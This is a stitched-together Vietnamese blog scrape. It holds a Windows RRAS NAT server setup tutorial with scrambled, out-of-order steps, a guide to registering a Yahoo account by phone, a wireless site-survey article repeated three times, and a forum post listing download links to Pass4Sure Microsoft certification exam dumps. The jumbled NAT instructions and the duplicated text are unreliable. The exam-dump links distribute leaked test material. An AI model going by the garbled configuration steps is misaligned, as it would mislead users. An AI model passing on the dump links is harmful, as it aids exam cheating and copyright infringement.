dạng NAT này tất cả các IP trong mạng LAN được dấu dưới một địa chỉ NAT-IP. các điều kiện về trạng thái kết nối không cần phải giử lại. Dạng NAT này hay còn được gọi với một cái tên NPAT (Network Port Address Translation). Các bạn có thể tham khảo hình sau đây về cấu hình static NAT.

Start. sau đó click Next. Setup NAT Server 1.NAT rule: Giả trang internet IP address 138. bạn nên chọn vào mục Manually configured server. 5. * Nếu một packet được gởi đến địa chỉ của router và port của destination nằm trong khoảng port dùng để masquerading thì NAT sẽ kiểm tra địa chỉ IP này và port với masquerading table của NAT nếu là gởi cho một host bên trong LAN thì gói tin này sẽ được NAT gắn vào địa chỉ IP và port của host đó và sẽ chuyển nó đến host đó. phần nào giúp bạn có chút kiến thức căn bản về NAT để bước tiếp theo sau chúng ta sẽ làm quen với cấu hình của NAT server. bạn right click vào tên server chọn Configure and Enable Routing and Remote Access như hình dưới đây. Ở Windows tiếp theo bạn chọn Finish và tiếp theo chọn Yes như hình dưới . Programs. welcome windows sẽ hiện lên.201 sử dụng địa chỉ NAT router * Cho mỗi packets được gởi ra ngoài IP nguồn sẽ được thay thế bằng NAT-IP là 195. Trong mục Routing and Remote Access. Bước đầu tiên thiết lập NAT bạn cần phải enable RRAS. bạn chỉ việc click Next. thông thường là các cổng lớn hơn 1204. 3. Administrative Tools. Ở phần Common Configurations như hình dưới đây. Hy vọng những gì được đưa ra ở trên. Sau khi bạn chọn Configure and Enable Routing and Remote Access. Routing and Remote Access (RRAS) 2.112 và port nguồn được thay thế bằng một cổng nào đó chưa được dùng ở NAT. 4.

Sau khi bạn chọn NIC card cho phần kết nối với internet bạn hãy check vào hai thư mục như hình dưới đây và. Trong phần New Interface for Network Address Translation (NAT). Trong phần New Routing Protocol bạn chọn Network Address Translation (NAT).đây 6. chọn OK 10. tuy nhiên lưu ý . chọn New Interface 9. Bưới tiếp theo sau là bạn chọn giao thức để routing theo hình dưới đây. Click OK theo hình dưới 8. Như vậy là bạn vừa cài xong giao thức NAT. Trong phần Address Pool này bạn chọn mục ADD và sau đó nhập vào dãy số địa chỉ IP mà các ISP cung cấp cho bạn nếu bạn sử dụng NAT này làm gateway. Để NAT có thể làm việc bạn cần xác định NIC card nào dành cho NAT và NIC card nào dành cho mạng LAN. bạn chọn NIC card tên WAN cho phần kết nối với internet. click vào phần Address Pool 11. hoặc bạn có thể tự cài dãy số IP theo ý bạn muốn. Theo hình dưới đây bạn right click vào Network Address Translation. Chọn New Routing Protocol 7.

bạn có thể nhập vào đây theo hình dưới. Dãy số IP range mà bạn vừa nhập vào sẽ dùng để mapping giữa NAT IP và các host trong LAN khi cần. Sau khi bạn chọn mục ADD ở trên thì bạn có thể nhập vào dãy số mà ISP cung cấp cho bạn. Nếu cũng có thể reserve một địa chỉ NAT-IP cho riêng một địa chỉ server nào đó trong LAN. chọn giao thức TCP.15 được static NAT với địa NAT-IP là 68. Sau khi bạn chọn Reservations thì bạn có thể nhập địa chỉ nào bạn muốn bảo quản riêng cho một server trong LAN. trong trường hợp này mình muốn server với địa chỉ 192.122. bạn add vào các port cần thiết tưng xướng với địa chỉ IP của từng server bên trong LAN như thí dụ dưới đây. bạn có thể chọn vào mục On this interface hay On this address pool entry.45. Trong phần Add Special Port.220 nếu bạn không muốn add static NAT vào đây thì bạn có thể tiếp tục sang bước 15.168. chọn OK 13. trong trường hợp này IP range của mình được cấp phát như hình dưới đây và. Click vào mục Add ở phía dưới 16.phần subnet nếu bạn tự cài IP range 12. Nếu bạn chọn On . Trong mục Spcial Ports này cho phép bạn mở những cổng cần thiết để các dịch vụ của các host bên trong LAN được quyền truy cập cũng như bên ngoài có thể truy cập được các dịch vụ này của các host trong LAN.0. Trong trường hợp bạn sử dụng dynamic IP thì phần Address Pool này bạn không cần phải điền vào và sẽ đi thẳng tới bước 19. bạn có thể chọn mục Reservations theo hình dưới đây 14. còn không thì bạn click OK 15.

. cứ tiếp tục add các port cần thiết cho các dịch vụ của bạn.25 là DNS cũng là DHCP server. tùy theo yêu cầu của từng dịch vụ bạn sẽ sử dụng TCP ports hay là UDP ports. Nếu bạn không cần sử dụng các dịch vụ DHCP và DNS Proxy của NAT thì bạn có thể tự cài static IP vào các client và chỉ gateway tới internal NAT interface. Đây là những ports cần thiết dành cho các dịch vụ của các server bên trong LAN.0.122.15 thì tất cả các IP được cài trên NIC WAN sẽ chịu trách nhiệm translate qua cho địa chỉ IP 192. Ở đây bạn có thể được xem như là đã hoàn tất thiết lập NAT.168. click OK như hình dưới đây 20. sau đây là phần thiết lập NAT cho LAN.168.this interface và nhập vào địa chỉ IP của server trong LAN là 192. 192. Phần trên là phần thiết lập NAT cho NIC card WAN. bạn chọn interface là LAN.45. trong trường hợp này là 192.15 và ngược lại 17. Lập lại bước 8 và 9.168.0.0.168. Sau khi ban cung cấp đầy đủ thông tin cần thiết cho NAT thì bạn có thể click OK 19.1.220 chịu trách nhiệm liên lạc và masqurerading giữa địa chỉ này và 192. Trong trườn hợp bạn muốn thiết lập DHCP và DNS proxy cho NAT thì bạn có thể theo dõ bước tiếp theo 21.0.0.168. Trong mục Network Address Translation Properties này bạn chỉ việc click OK theo hình dưới đây.15 với port là 80 và. Nếu bạn chọn mục On this address pool entry thì chỉ có một địa chỉ là 68. Và đây là các UDP ports cần thiết như là DNS port và DHCP port. phần lớn là TCP ports như hình dưới là một số TCP port thông dụng được mở ra cho các server mang địa chỉ theo sau 18.

168.168.0.1 đến 192. Trong phần Network Address Translation (NAT) Properties.0. Trong phần Exclude Reservered Addresses. dưới phần Resolve IP addresses for check vào mục Clients using Domain Name System (DNS). sau đó click OK 25. bạn right click vào WAN interface chọn Show Mapping. đây là chức năng DHCP của NAT.254. Hai bước dưới đây giúp bạn theo dõi NAT và việc mapping của NAT bằng cách bạn click vào Network Address Translation.0. trong trường hợp này 3 địa chỉ IP dưới đây không được phép cung cấp cho client là gateway 192. chọn Properties theo hình dưới 22. Nat sẽ cho phép bạn theo dõi mapping table . right click vào Network Address Translation. Để client có thể truy cập được internet thì cũng cần phải có DNS. Sau khi nhập vào các dử liệu dưới đây.Để các client bên trong LAN có thể truy cập được internet cũng như sử dụng những dịch vụ của NAT cung cấp như DHCP và DNS Proxy bạn có thể làm như sau. Như vậy là bạn đã vừa hoàn tất thiết lập một NAT server.1. Lưu ý: Để tránh tình trang DHCP cung cấp IP của gateway cũng như các IP quan trong khác trong mạng như WINS server. Chọn mục Address Assigment. bạn có thể sử dụng proxy DNS của NAT để cung cấp cho các client khi cần truy cập.15 và mail server là 192. chọn Name Resolution.25. bạn click OK 24.168. cho phép NAT cung cấp các địa chỉ IP khi client cần truy cập internet Bạn check vào mục Automatically assign IP address by using DHCP và bạn nhập vào dãy IP nào bạn muốn trong trường hợp này là class C bắt đầu từ 192. DC 192. mail server bạn có thể chặn NAT cung câp các địa chỉ ấy trong mục Exclude 23.168.168. ở windows bên phải.0. bạn nhập vào các địa chỉ IP mà bạn nghĩ rằng NAT không được cung cấp cho client vì sẽ bị mâu thuẩn IP.0. DNS server.

trithuccongdong. NAT.. Lưu ý: Trước khi bạn thiết lập DHCP Relay Agent.com/go/emulator.35 Như vậy là bạn đã vừa thiết lập xong một NAT server. NETWORK Hướng dẫn Reg Nick Yahoo bằng Số DT Đầu tiên.yahoo. 26. click Add vậy là bạn không cần sử dụng chức năng Assign IP address của NAT. Trong trường hợp bạn đã có DHCP server trong mạng và bạn không muốn sử dụng DHCP của NAT thì bạn có thể thiết lập DHCP Relay Agent bằng cách click vào DHCP Relay Agent chọn Properties theo hình dưới đây 27. những ai đang truy cập vào những server nào bằng port nào. bạn cần phải tắt chức năng Automatically assign IP address by using DHCP ở bước 22. Chọn như hình trên để khởi tạo tài khoản mới! Skip để bỏ qua bước giới thiệu nếu không quan tâm! các phím bấm lên xuống chỉ cần trỏ chuột vào bảng điều khiển trên điện thoại ảo! hoặc di chuyển các phím mũi tên! y chang giao diện điện thoại Nokia thật! .của NAT đang làm việc.php? option=com_content&task=view&id=515&Itemid=113 Được đăng bởi haodalat tại 1:38 CH 0 nhận xét Nhãn: MCSA.com/portal/index. Theo vanesoft http://www. Trong bài này DHCP server là 192.. Để chạy được trang này khi load thấy như hình dứơi thì máy phải hỗ trợ Runtime Environment browser plug-in.com/en/download. Nếu chưa chạy được ra hình điện thoại bạn cần cài plug-in này tại http://java.168. Trong phần DHCP Relay Agent Properties này. vào trang http://mobile. bạn nhập vào địa chỉ IP của DHCP server chịu trách nhiệm cấp phát IP cho mạng LAN.0.

cho nên nó sẽ chuyển sang Sign up cho đăng ký! Màn hình đăng ký như trên! nhập chuỗi số bạn thích vào. chẳng hạn số điện thoại (ví dụ: 0916102007) Nhập tên tài khoản! để khi chat chit sẽ hiện lên chỗ Status! Đừng ghi tiếng việt có dấu! Khung nhập pass chỉ cho phép nhập toàn là chữ hoặc toàn là số! Câu hỏi bí mật! Ngaà tháng năm sinh! Đồng ý ToS! Nhập mã bảo vệ ! Thành công sẽ ra như hình trên! Đăng nhập Yahoo ngon lành! .Di chuyển ngang để chọn Mail như hình và Chọn để đăng ký mới! cứ việc Enter! vì chưa có tài khoản để Sign in.

Tuỳ thuộc vào kiểu cài đặt. có một số công cụ hỗ trợ bạn thực hiện việc này.Ta có thể ẩn danh số điện thoại khi add nick khác! và khi bạn đăng nhập trang http://m. Các bước cơ bản sau đây sẽ giúp bạn hoàn thành công việc ở mức tốt nhất: Nguồn: unifiedbarcode1. Để mạng không dây luôn hoạt động ở mức tốt nhất bạn phải đảm bảo các điểm truy cập (Access Points . điều này cung cấp cho bạn sơ bộ phạm vi khu vực AP giúp bạn bắt đầu cuộc khảo sát. Ước lượng tổng số điểm truy cập cần thiết cho toàn bộ phạm vi mạng. Cũng cần chú ý nơi có thể cung cấp cho người dùng (cũng như nơi không cung cấp) để xác định phạm vi trung bình. hãy chú ý vị trí . Hãy nhớ rằng bạn không nên đặt các điểm truy cập gần những vật bằng kim loại hay tường bê tông. 2. Suu tam tu Net Được đăng bởi haodalat tại 9:34 SA 0 nhận xét Nhãn: Nick YM so dien thoai Sáu bước cho cuộc khảo sát vị trí mạng không dây Các cuộc khảo sát vị trí mạng không dây định kỳ là rất quan trọng.AP) phải ở khu vực tốt nhất và các sóng radio (có thể là nguyên nhân gây nhiễu) phải ở mức ít nhất. Vạch ra kế hoạch chi tiết. Hãy xem xét kế hoạch và các trở ngại như tường. thang máy. sàn nhà những thứ có thể cản trở tín hiệu sóng. Nên đặt chúng càng gần trần nhà càng tốt.yahoo. Nếu đã có một số điểm truy cập rồi. 3. Xác định nơi cấp phát các điểm truy cập (AP) dựa trên nguồn điện và cáp mà bạn có thể kết nối các AP với phần còn lại của mạng. tiền sảnh. Một số sản phẩm phần mềm có thể giúp bạn xây dựng kế hoạch cơ bản một cách trực tiếp. chẳng hạn như phần mềm trong chương trình khảo sát vị trí. Nên nhớ nguyên tắc hàng đầu là một AP có thể cung cấp cho phạm vi bán kính khoảng 30m. hay kế hoạch cơ bản về những khu vực mà bạn muốn mạng không dây phủ tới.com/ thì nick chat sẽ hiện lên như hình trên! Và khi ai đó nhắn tin thì bạn sẽ nhận tin nhắn trong web mobile của yahoo cho nick đó!.

Chúng cũng tốt trong trường hợp bạn không có kế hoạch ‘văn phòng mở’ đơn giản. Tuỳ thuộc vào kế hoạch cơ sở và số các trở ngại như tường dày. hãy đánh giá công cụ phân tích của họ. Bạn chỉ cần mua một AP đơn và luân chuyển quanh các vị trí tiềm năng xác định ở bước 3. Aruba Mobility Controller có thời gian thử nghiệm miễn phí và là một phần tích hợp trong bộ sản phẩm switch của nhà sản xuất. Ngoài ra còn có các công cụ khác làm việc kết hợp với các sản phẩm không dây chuyển đổi. Nguồn: teamhogan Một vấn đề với các công cụ này là khi áp dụng vào cơ sở hạ tầng thực các thông số về điểm chết và những khu vực phủ sóng nghèo nàn không được chính xác. dữ liệu ước tính quan sát được cho các lần làm việc sau. có thể dùng trên một laptop đơn. 6. Định vị và kiểm tra lại các điểm truy cập. bạn có thể cần phải mua một trong các công cụ “bao xung . Nếu bạn không quyết định được hãng cung cấp cơ sở hạ tầng không dây. tường kim loại. Hãy chắc chắn rằng bạn đã dùng cùng một mô hình AP trong cuộc khảo sát với cơ sở hạ tầng thật của bạn. chỉ từ một tới ba AP. Sử dụng tài liệu tìm kiếm: hãy ghi lại các khu vực và tài liệu đọc ký hiệu. nhưng lại có các kiểu hành lang khác nhau và các điểm chết sóng tiềm ẩn nằm rải rác quanh nhiều tầng. Công cụ này phù hợp cho những nơi đòi hỏi phần cài đặt nhỏ. Wireless Control System của Cisco có giá 4000 đô la và RingMaster của Trapeze có giá hơn 549 đô la. 4. Có những công cụ miễn phí cho bạn lựa chọn như NetStumbler và nhiều tính năng hơn với AirMagnet Survey.của nó trên kế hoạch sơ bộ. Visiwave. Fluke Networks InterpretAir. Nguồn: summittechnologies Bạn nên lựa chọn công cụ nào phù hợp nhất cho buổi khảo sát? Có 3 loại cơ bản sau: Đầu tiên là các phần mềm dựa trên nền Windows. giám sát phạm vi sóng của bạn. Chúng có thể là của Cisco Systems. Các phần mềm này giúp bạn ghi lại các tính toán ước lượng như độ dài tín hiệu khi đi quanh toà nhà. Aruba Networks và Trapeze Networks. cung cấp cho bạn lời khuyên về vị trí nên đặt các điểm AP tốt nhất. 5. Sử dụng công cụ khảo sát. Hãy xem phần hướng dẫn bên dưới để lựa chọn công cụ sử dụng cho phù hợp. tuỳ thuộc vào kết quả trong cuộc khảo sát của bạn. Ekahau Site Survey nhưng có giá khoảng vài nghìn đô la.

Cuối cùng là một số công cụ tương tự có độ co giãn lớn. Các bước cơ bản sau đây sẽ giúp bạn hoàn thành công việc ở mức tốt nhất: Nguồn: unifiedbarcode1. Các công cụ này hữu ích trong hoạt động đánh giá tổng số các AP bạn sẽ cần và mô phỏng môi trường cuối cùng nên xây dựng cho bạn tương đối tốt. tiền sảnh. WIRELESS Sáu bước cho cuộc khảo sát vị trí mạng không dây Các cuộc khảo sát vị trí mạng không dây định kỳ là rất quan trọng. Tuỳ thuộc vào kiểu cài đặt.com/index. Môi trường sóng có thể thay đổi khi các bàn phím Bluetooth và các thiết bị nghe điện đài đến rồi đi. http://ebooks. thang máy.11. chẳng hạn như phần mềm trong chương trình khảo sát vị trí. có một số công cụ hỗ trợ bạn thực hiện việc này. tiến hành một lần khảo sát mạng không dây không bao giờ là đủ cả. Để mạng không dây luôn hoạt động ở mức tốt nhất bạn phải đảm bảo các điểm truy cập (Access Points . Chúng hữu ích trong đánh giá kích thước cho những nơi xây dựng nhiều tầng.quanh tường” đã được thảo luận ở trên.kmmhuy. Bạn cũng có thể dùng cho các hoạt động triển khai tương tự hay cho các đòi hỏi của nhiều mô hình khác nhau trong tương lai.AP) phải ở khu vực tốt nhất và các sóng radio (có thể là nguyên nhân gây nhiễu) phải ở mức ít nhất. những người chắc chắn sẽ phàn nàn rằng tín hiệu của họ quá yếu và tìm kiếm các điểm chết mới trong toà nhà của bạn. Chúng cần phải được thực hiện định kỳ. NETWORK.php/sau-b%c6%b0%e1%bb%9bc-cho-cu %e1%bb%99c-kh%e1%ba%a3o-sat-v%e1%bb%8b-tri-m%e1%ba%a1ngkhong-day/ Được đăng bởi haodalat tại 7:44 SA 0 nhận xét Nhãn: CÓ THỂ BẠN CHƯA BIẾT. Wireless LAN Planner của Bluesocket. Hãy nhớ rằng. RingMaster của Trapeze cũng có khả năng xây dựng mô hình radio và các chức năng tương tự. Wireless Valley LANPlanner. cũng như khi các lò viba bật/tắt. AirDefense Survey của Motorola. Một số sản phẩm phần mềm có thể giúp bạn xây dựng kế hoạch cơ bản một cách trực tiếp. hay khi một loạt các thiết bị không dây khác làm ô nhiễm chuỗi phân bổ theo tiêu chuẩn 802. Hãy xem xét kế hoạch và các trở ngại như tường. Và hãy chắc chắn rằng những cuộc khảo sát là một phần trong các hoạt động mạng nói chung. sàn nhà - . hay kế hoạch cơ bản về những khu vực mà bạn muốn mạng không dây phủ tới. trường sở. Vạch ra kế hoạch chi tiết. khu sân bãi. Vì thế trước hết hãy lắng nghe người dùng. Nhưng chúng không thể nói cho bạn biết các thiết bị gây trở ngại hay cung cấp cho bạn tổng thể tất cả về môi trường mạng không dây bạn sắp xây dựng. Các công cụ này bao gồm SpectraGuard Planner của AirTight Networks.

Định vị và kiểm tra lại các điểm truy cập. dữ liệu ước tính quan sát được cho các lần làm việc sau. Aruba Networks và Trapeze Networks. cung cấp cho bạn lời . Các phần mềm này giúp bạn ghi lại các tính toán ước lượng như độ dài tín hiệu khi đi quanh toà nhà. 4. 3. tuỳ thuộc vào kết quả trong cuộc khảo sát của bạn. 2. Fluke Networks InterpretAir. Bạn chỉ cần mua một AP đơn và luân chuyển quanh các vị trí tiềm năng xác định ở bước 3. Xác định nơi cấp phát các điểm truy cập (AP) dựa trên nguồn điện và cáp mà bạn có thể kết nối các AP với phần còn lại của mạng. điều này cung cấp cho bạn sơ bộ phạm vi khu vực AP giúp bạn bắt đầu cuộc khảo sát. giám sát phạm vi sóng của bạn. Chúng có thể là của Cisco Systems.những thứ có thể cản trở tín hiệu sóng. Sử dụng công cụ khảo sát. Ekahau Site Survey nhưng có giá khoảng vài nghìn đô la. có thể dùng trên một laptop đơn. Hãy nhớ rằng bạn không nên đặt các điểm truy cập gần những vật bằng kim loại hay tường bê tông. Nên nhớ nguyên tắc hàng đầu là một AP có thể cung cấp cho phạm vi bán kính khoảng 30m. Ước lượng tổng số điểm truy cập cần thiết cho toàn bộ phạm vi mạng. Công cụ này phù hợp cho những nơi đòi hỏi phần cài đặt nhỏ. 5. hãy chú ý vị trí của nó trên kế hoạch sơ bộ. 6. Visiwave. chỉ từ một tới ba AP. nhưng lại có các kiểu hành lang khác nhau và các điểm chết sóng tiềm ẩn nằm rải rác quanh nhiều tầng. Nguồn: summittechnologies Bạn nên lựa chọn công cụ nào phù hợp nhất cho buổi khảo sát? Có 3 loại cơ bản sau: Đầu tiên là các phần mềm dựa trên nền Windows. Ngoài ra còn có các công cụ khác làm việc kết hợp với các sản phẩm không dây chuyển đổi. Có những công cụ miễn phí cho bạn lựa chọn như NetStumbler và nhiều tính năng hơn với AirMagnet Survey. Cũng cần chú ý nơi có thể cung cấp cho người dùng (cũng như nơi không cung cấp) để xác định phạm vi trung bình. Hãy xem phần hướng dẫn bên dưới để lựa chọn công cụ sử dụng cho phù hợp. Nên đặt chúng càng gần trần nhà càng tốt. Hãy chắc chắn rằng bạn đã dùng cùng một mô hình AP trong cuộc khảo sát với cơ sở hạ tầng thật của bạn. Nếu đã có một số điểm truy cập rồi. Chúng cũng tốt trong trường hợp bạn không có kế hoạch ‘văn phòng mở’ đơn giản. Sử dụng tài liệu tìm kiếm: hãy ghi lại các khu vực và tài liệu đọc ký hiệu.

Wireless Control System của Cisco có giá 4000 đô la và RingMaster của Trapeze có giá hơn 549 đô la. Nhưng chúng không thể nói cho bạn biết các thiết bị gây trở ngại hay cung cấp cho bạn tổng thể tất cả về môi trường mạng không dây bạn sắp xây dựng. Nếu bạn không quyết định được hãng cung cấp cơ sở hạ tầng không dây. NETWORK. Chúng cần phải được thực hiện định kỳ. Môi trường sóng có thể thay đổi khi các bàn phím Bluetooth và các thiết bị nghe điện đài đến rồi đi.com/index. AirDefense Survey của Motorola. Tuỳ thuộc vào kế hoạch cơ sở và số các trở ngại như tường dày. cũng như khi các lò viba bật/tắt. Wireless Valley LANPlanner. hay khi một loạt các thiết bị không dây khác làm ô nhiễm chuỗi phân bổ theo tiêu chuẩn 802. Các công cụ này hữu ích trong hoạt động đánh giá tổng số các AP bạn sẽ cần và mô phỏng môi trường cuối cùng nên xây dựng cho bạn tương đối tốt. bạn có thể cần phải mua một trong các công cụ “bao xung quanh tường” đã được thảo luận ở trên. Wireless LAN Planner của Bluesocket.kmmhuy. tiến hành một lần khảo sát mạng không dây không bao giờ là đủ cả. Chúng hữu ích trong đánh giá kích thước cho những nơi xây dựng nhiều tầng. khu sân bãi.khuyên về vị trí nên đặt các điểm AP tốt nhất. Cuối cùng là một số công cụ tương tự có độ co giãn lớn. hãy đánh giá công cụ phân tích của họ. những người chắc chắn sẽ phàn nàn rằng tín hiệu của họ quá yếu và tìm kiếm các điểm chết mới trong toà nhà của bạn. WIRELESS Sáu bước cho cuộc khảo sát vị trí mạng không dây .php/sau-b%c6%b0%e1%bb%9bc-cho-cu %e1%bb%99c-kh%e1%ba%a3o-sat-v%e1%bb%8b-tri-m%e1%ba%a1ngkhong-day/ Được đăng bởi haodalat tại 7:44 SA 0 nhận xét Nhãn: CÓ THỂ BẠN CHƯA BIẾT.11. trường sở. Các công cụ này bao gồm SpectraGuard Planner của AirTight Networks. http://ebooks. Aruba Mobility Controller có thời gian thử nghiệm miễn phí và là một phần tích hợp trong bộ sản phẩm switch của nhà sản xuất. Hãy nhớ rằng. Vì thế trước hết hãy lắng nghe người dùng. RingMaster của Trapeze cũng có khả năng xây dựng mô hình radio và các chức năng tương tự. Và hãy chắc chắn rằng những cuộc khảo sát là một phần trong các hoạt động mạng nói chung. tường kim loại. Nguồn: teamhogan Một vấn đề với các công cụ này là khi áp dụng vào cơ sở hạ tầng thực các thông số về điểm chết và những khu vực phủ sóng nghèo nàn không được chính xác. Bạn cũng có thể dùng cho các hoạt động triển khai tương tự hay cho các đòi hỏi của nhiều mô hình khác nhau trong tương lai.

4. hay kế hoạch cơ bản về những khu vực mà bạn muốn mạng không dây phủ tới. Định vị và kiểm tra lại các điểm truy cập. Ước lượng tổng số điểm truy cập cần thiết cho toàn bộ phạm vi mạng. thang máy.AP) phải ở khu vực tốt nhất và các sóng radio (có thể là nguyên nhân gây nhiễu) phải ở mức ít nhất. có một số công cụ hỗ trợ bạn thực hiện việc này. 6. Sử dụng tài liệu tìm kiếm: hãy ghi lại các khu vực và tài liệu đọc ký hiệu. hãy chú ý vị trí của nó trên kế hoạch sơ bộ. dữ liệu ước tính quan sát được cho các lần làm việc sau. Hãy xem xét kế hoạch và các trở ngại như tường. Nguồn: summittechnologies Bạn nên lựa chọn công cụ nào phù hợp nhất cho buổi khảo sát? Có 3 loại cơ bản sau: Đầu tiên là các phần mềm dựa trên nền Windows. Các phần mềm này giúp bạn ghi lại các tính toán ước lượng như . Hãy xem phần hướng dẫn bên dưới để lựa chọn công cụ sử dụng cho phù hợp. Để mạng không dây luôn hoạt động ở mức tốt nhất bạn phải đảm bảo các điểm truy cập (Access Points . sàn nhà những thứ có thể cản trở tín hiệu sóng. Hãy chắc chắn rằng bạn đã dùng cùng một mô hình AP trong cuộc khảo sát với cơ sở hạ tầng thật của bạn. điều này cung cấp cho bạn sơ bộ phạm vi khu vực AP giúp bạn bắt đầu cuộc khảo sát. Tuỳ thuộc vào kiểu cài đặt. Nên đặt chúng càng gần trần nhà càng tốt. Sử dụng công cụ khảo sát. Vạch ra kế hoạch chi tiết.Các cuộc khảo sát vị trí mạng không dây định kỳ là rất quan trọng. Nếu đã có một số điểm truy cập rồi. 3. tiền sảnh. Cũng cần chú ý nơi có thể cung cấp cho người dùng (cũng như nơi không cung cấp) để xác định phạm vi trung bình. 5. 2. Hãy nhớ rằng bạn không nên đặt các điểm truy cập gần những vật bằng kim loại hay tường bê tông. chẳng hạn như phần mềm trong chương trình khảo sát vị trí. tuỳ thuộc vào kết quả trong cuộc khảo sát của bạn. Nên nhớ nguyên tắc hàng đầu là một AP có thể cung cấp cho phạm vi bán kính khoảng 30m. Xác định nơi cấp phát các điểm truy cập (AP) dựa trên nguồn điện và cáp mà bạn có thể kết nối các AP với phần còn lại của mạng. có thể dùng trên một laptop đơn. Các bước cơ bản sau đây sẽ giúp bạn hoàn thành công việc ở mức tốt nhất: Nguồn: unifiedbarcode1. Một số sản phẩm phần mềm có thể giúp bạn xây dựng kế hoạch cơ bản một cách trực tiếp.

Chúng hữu ích trong đánh giá kích thước cho những nơi xây dựng nhiều tầng. Wireless Control System của Cisco có giá 4000 đô la và RingMaster của Trapeze có giá hơn 549 đô la. Aruba Mobility Controller có thời gian thử nghiệm miễn phí và là một phần tích hợp trong bộ sản phẩm switch của nhà sản xuất. Fluke Networks InterpretAir. chỉ từ một tới ba AP. Nhưng chúng không thể nói cho bạn biết các thiết bị gây trở ngại hay cung cấp cho bạn tổng thể tất cả về môi trường mạng không dây bạn sắp xây dựng. tường kim loại. giám sát phạm vi sóng của bạn. Chúng có thể là của Cisco Systems. Hãy nhớ rằng. Cuối cùng là một số công cụ tương tự có độ co giãn lớn. bạn có thể cần phải mua một trong các công cụ “bao xung quanh tường” đã được thảo luận ở trên. khu sân bãi. Môi trường sóng có thể thay đổi khi các bàn phím Bluetooth và các thiết bị nghe điện đài đến rồi đi. Có những công cụ miễn phí cho bạn lựa chọn như NetStumbler và nhiều tính năng hơn với AirMagnet Survey. Các công cụ này hữu ích trong hoạt động đánh giá tổng số các AP bạn sẽ cần và mô phỏng môi trường cuối cùng nên xây dựng cho bạn tương đối tốt. Aruba Networks và Trapeze Networks. Nguồn: teamhogan Một vấn đề với các công cụ này là khi áp dụng vào cơ sở hạ tầng thực các thông số về điểm chết và những khu vực phủ sóng nghèo nàn không được chính xác. Visiwave. nhưng lại có các kiểu hành lang khác nhau và các điểm chết sóng tiềm ẩn nằm rải rác quanh nhiều tầng. tiến hành một lần khảo sát mạng không dây không bao giờ là đủ cả. Nếu bạn không quyết định được hãng cung cấp cơ sở hạ tầng không dây. trường sở. Ekahau Site Survey nhưng có giá khoảng vài nghìn đô la. Ngoài ra còn có các công cụ khác làm việc kết hợp với các sản phẩm không dây chuyển đổi. Các công cụ này bao gồm SpectraGuard Planner của AirTight Networks. hay khi một loạt các thiết bị không dây khác làm ô . Chúng cũng tốt trong trường hợp bạn không có kế hoạch ‘văn phòng mở’ đơn giản.độ dài tín hiệu khi đi quanh toà nhà. Bạn chỉ cần mua một AP đơn và luân chuyển quanh các vị trí tiềm năng xác định ở bước 3. cũng như khi các lò viba bật/tắt. hãy đánh giá công cụ phân tích của họ. Bạn cũng có thể dùng cho các hoạt động triển khai tương tự hay cho các đòi hỏi của nhiều mô hình khác nhau trong tương lai. cung cấp cho bạn lời khuyên về vị trí nên đặt các điểm AP tốt nhất. Chúng cần phải được thực hiện định kỳ. Wireless Valley LANPlanner. AirDefense Survey của Motorola. Tuỳ thuộc vào kế hoạch cơ sở và số các trở ngại như tường dày. Công cụ này phù hợp cho những nơi đòi hỏi phần cài đặt nhỏ. Wireless LAN Planner của Bluesocket. RingMaster của Trapeze cũng có khả năng xây dựng mô hình radio và các chức năng tương tự.

com/index.29 .29. NETWORK. Mocs For All Microsoft BEFORE REQUESTING FOR DUMPS CHECK WHAT YOU WANT HERE .rar Pass4Sure 70-122 version 2. and Managing Microsoft Systems Management Server 2003 CODE http://rapidshare. REQUESTS ARE ALLOWED FOR LATEST MATERIALS . http://ebooks. DONT POST THANKS REPLIES PLEASE . ANY ONE WILL POST A THANKS WILL BE WARNED .11.com/files/27145222/Pass4Sure_70-089_v2. Deploying. Vì thế trước hết hãy lắng nghe người dùng. Mspress.15. At.php/sau-b%c6%b0%e1%bb%9bc-cho-cu %e1%bb%99c-kh%e1%ba%a3o-sat-v%e1%bb%8b-tri-m%e1%ba%a1ngkhong-day/ Được đăng bởi haodalat tại 7:44 SA 0 nhận xét Nhãn: CÓ THỂ BẠN CHƯA BIẾT. Tk.kmmhuy.0 CODE http://rapidshare.31.rar Pass4Sure 70-121 version 2.com/files/27145252/Pass4Sure_70-121_v2.31 Implementing and Supporting Systems Management Server 2. những người chắc chắn sẽ phàn nàn rằng tín hiệu của họ quá yếu và tìm kiếm các điểm chết mới trong toà nhà của bạn.rar Pass4Sure 70-089 version 2.nhiễm chuỗi phân bổ theo tiêu chuẩn 802. SPECIAL THANKS FOR EDMOND IN ADVANCE update : ppl can request here for missing materials only and no posting for mails !!! latest update : after every 30 days all the replies will be deleted to keep this topic shine and clean For Pass4Sure. GIVE HIM SOME TIME AS HE IS TRYING TO UPLOAD AS MUCH AS HE CAN . Và hãy chắc chắn rằng những cuộc khảo sát là một phần trong các hoạt động mạng nói chung. ENJOY ALL . WIRELESS 19-04-2008 Pass4sure. Actualtest.com/files/27145202/Pass4Sure_70-086_v2. Cbt Videos. Transcender and Testking Pass4Sure 70-086 version 2.29 Designing and Providing Microsoft Volume License Solutions to Small and Medium Organizations CODE http://rapidshare.15 Planning.

29.rar Pass4Sure 70-217 version 2.two_v2.rar http://rapidshare.com/files/27145328/Pass4Sure_70-214_v2.73 Implementing and Administering a Microsoft Windows 2000 Directory Services Infrastructure CODE http://rapidshare.16.one_v2.rar Pass4Sure 70-210 version 2.com/files/27145372/Pass4Sure_70-215. Implementing.29 Planning. and Maintaining a Software Asset Management (SAM) Program CODE http://rapidshare.com/files/27143044/Pass4Sure_70-216_v2.com/files/27143085/Pass4Sure_70-218_v2.29 Windows 2000 Pro CODE http://rapidshare.com/files/27145407/Pass4Sure_70-215.com/files/27145266/Pass4Sure_70-122_v2.rar Pass4Sure 70-215 version 2.29.16 Implementing and Administering Security in a Microsoft Windows 2000 Network CODE http://rapidshare.com/files/27145307/Pass4Sure_70-210_v2.29.73.rar Pass4Sure 70-214 version 2.rar http://rapidshare.29.16.com/files/27145283/Pass4Sure_70-123_v2.com/files/27145343/Pass4Sure_70-215.29.29 Managing a Microsoft Windows 2000 Network Environment CODE http://rapidshare.rar Pass4Sure 70-123 version 2.229 Windows 2000 Server CODE http://rapidshare.16 Implementing and Administering a Microsoft Windows 2000 Network Infrastructure CODE http://rapidshare.rar .doc Pass4Sure 70-216 version 2.rar Pass4Sure 70-218 version 2.com/files/27143067/Pass4Sure_70-217_v2.Designing and Providing Microsoft Volume License Solutions to Large Organizations CODE http://rapidshare.16.

